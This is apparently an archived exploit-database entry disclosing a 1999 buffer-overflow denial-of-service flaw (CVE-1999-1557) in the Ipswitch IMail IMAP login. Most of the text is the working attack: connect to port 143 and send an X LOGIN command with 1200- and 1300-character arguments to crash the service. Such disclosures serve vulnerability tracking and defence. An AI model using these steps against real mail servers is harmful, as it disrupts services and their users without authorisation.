Ipswitch IMail 5.0 - Imapd Buffer Overflow (Denial of Service) (PoC)

Author: Marc of eEye
type: dos
platform: multiple
port: 
date_added: 1999-03-01 
date_updated: 2012-06-23 
verified: 1 
codes: CVE-1999-1557;OSVDB-10842 
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source: https://www.securityfocus.com/bid/502/info

The imapd login process is susceptible to a buffer overflow attack which will crash the service.


Telnet to target machine, port 143
* OK IMAP4 Server (IMail 4.06)
X LOGIN glob1 glob2

Where glob1 is 1200 characters and glob2 is 1300 characters.